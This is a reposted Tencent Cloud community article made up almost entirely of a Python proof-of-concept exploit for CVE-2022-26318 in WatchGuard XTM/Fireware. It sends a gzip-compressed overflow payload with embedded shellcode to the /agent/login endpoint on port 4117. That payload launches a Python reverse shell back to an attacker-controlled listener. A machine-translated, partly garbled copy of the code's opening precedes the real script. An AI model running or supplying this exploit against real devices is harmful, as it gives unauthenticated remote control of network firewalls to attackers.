前往小程序,Get更优阅读体验!
立即前往
首页
学习
活动
专区
工具
TVP
发布
社区首页 >专栏 >watchguard_cve-2022-26318

watchguard_cve-2022-26318

作者头像
Khan安全团队
发布2022-03-29 09:41:51
8050
发布2022-03-29 09:41:51
举报
文章被收录于专栏:Khan安全团队

CVE-2022-26318

导入套接字导入 ssl 导入 gzip

远程 WatchGuard XTM 或 FireWare 操作系统

R_HOST = "1.1.1.1"

带有 nc 监听器的本地主机:nc -l 8.8.8.8 8888

L_HOST = "8.8.8.8"

def buildPayload(L_HOST): payload = "agent.login<".encode() payload += ("A"*3181).encode() payload += "MFA>".encode() payload += (""* 3680).编码()

watchguard_cve-2022-26318

Watchguard RCE POC CVE-2022-26318

代码语言:javascript
复制
#!/usr/bin/python3
# -*- coding: utf-8 -*-

# CVE-2022-26318

import socket
import ssl
import gzip



# Remote WatchGuard XTM or FireWare OS
R_HOST = "1.1.1.1"
# Local host with nc listener: nc -l 8.8.8.8 8888
L_HOST = "8.8.8.8"


def buildPayload(L_HOST):
    payload = "<methodCall><methodName>agent.login</methodName><params><param><value><struct><member><value><".encode()
    payload += ("A"*3181).encode()
    payload += "MFA>".encode()
    payload += ("<BBBBMFA>"*3680).encode()
    payload += b'\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00 P@\x00\x00\x00\x00\x00h\xf9@\x00\x00\x00\x00\x00 P@\x00\x00\x00\x00\x00\x00\x00\x0e\xd6A\x00\x00\x00\x00\x00\xb1\xd5A\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00}^@\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00|^@\x00\x00\x00\x00\x00\xad\xd2A\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x0e\xd6A\x00\x00\x00\x00\x00\xc0\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00*\xa9@\x00\x00\x00\x00\x00H\x8d=\x9d\x00\x00\x00\xbeA\x02\x00\x00\xba\xb6\x01\x00\x00\xb8\x02\x00\x00\x00\x0f\x05H\x89\x05\x92\x00\x00\x00H\x8b\x15\x93\x00\x00\x00H\x8d5\x94\x00\x00\x00H\x8b=}\x00\x00\x00\xb8\x01\x00\x00\x00\x0f\x05H\x8b=o\x00\x00\x00\xb8\x03\x00\x00\x00\x0f\x05\xb8;\x00\x00\x00H\x8d=?\x00\x00\x00H\x89= \x00\x00\x00H\x8d5A\x00\x00\x00H\x895\x1a\x00\x00\x00H\x8d5\x0b\x00\x00\x001\xd2\x0f\x05\xb8<\x00\x00\x00\x0f\x05\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00/usr/bin/python\x00/tmp/test.py\x00\x00\x00\x00\x00\x00\x00\x00\x00\xef\x01\x00\x00\x00\x00\x00\x00'
    payload += 'import socket;from subprocess import call; from os import dup2;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("{}",8888)); dup2(s.fileno(),0); dup2(s.fileno(),1); dup2(s.fileno(),2);call(["/bin/python","-i"]);'.format(L_HOST).encode()
    return gzip.compress(payload, 9)


def buildHTTP(L_HOST, R_HOST):
    http_payload = "POST /agent/login HTTP/1.1\r\n"
    http_payload += "Host: {}:4117\r\n".format(R_HOST)
    http_payload += "User-Agent: CVE-2022-26318\r\n"
    http_payload += "Accept-Encoding: gzip, deflate\r\n"
    http_payload += "Accept: */*\r\n"
    http_payload += "Connection: close\r\n"
    http_payload += "Content-Encoding: gzip\r\n"

    gzippedExploit = buildPayload(L_HOST)

    http_payload += "Content-Length: {}\r\n".format(len(gzippedExploit))
    http_payload += "\r\n"

    return http_payload.encode() + gzippedExploit


def main():
    sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    wrappedSocket = ssl.wrap_socket(sock=sock, cert_reqs=ssl.CERT_NONE)

    server_address = (R_HOST, 4117)
    print('connecting to {} port {}'.format(*server_address))

    wrappedSocket.settimeout(3)
    try:
        wrappedSocket.connect(server_address)
        print("sending payload...")
        payload = buildHTTP(L_HOST, R_HOST)
        wrappedSocket.sendall(payload)
    except:
        pass

    finally:
        print('closing socket')
        wrappedSocket.close()


main()

本文系转载,前往查看

如有侵权,请联系 cloudcommunity@tencent.com 删除。

本文系转载前往查看

如有侵权,请联系 cloudcommunity@tencent.com 删除。

评论
登录后参与评论
0 条评论
热度
最新
推荐阅读
目录
  • CVE-2022-26318
  • 远程 WatchGuard XTM 或 FireWare 操作系统
  • 带有 nc 监听器的本地主机:nc -l 8.8.8.8 8888
  • watchguard_cve-2022-26318
领券
问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档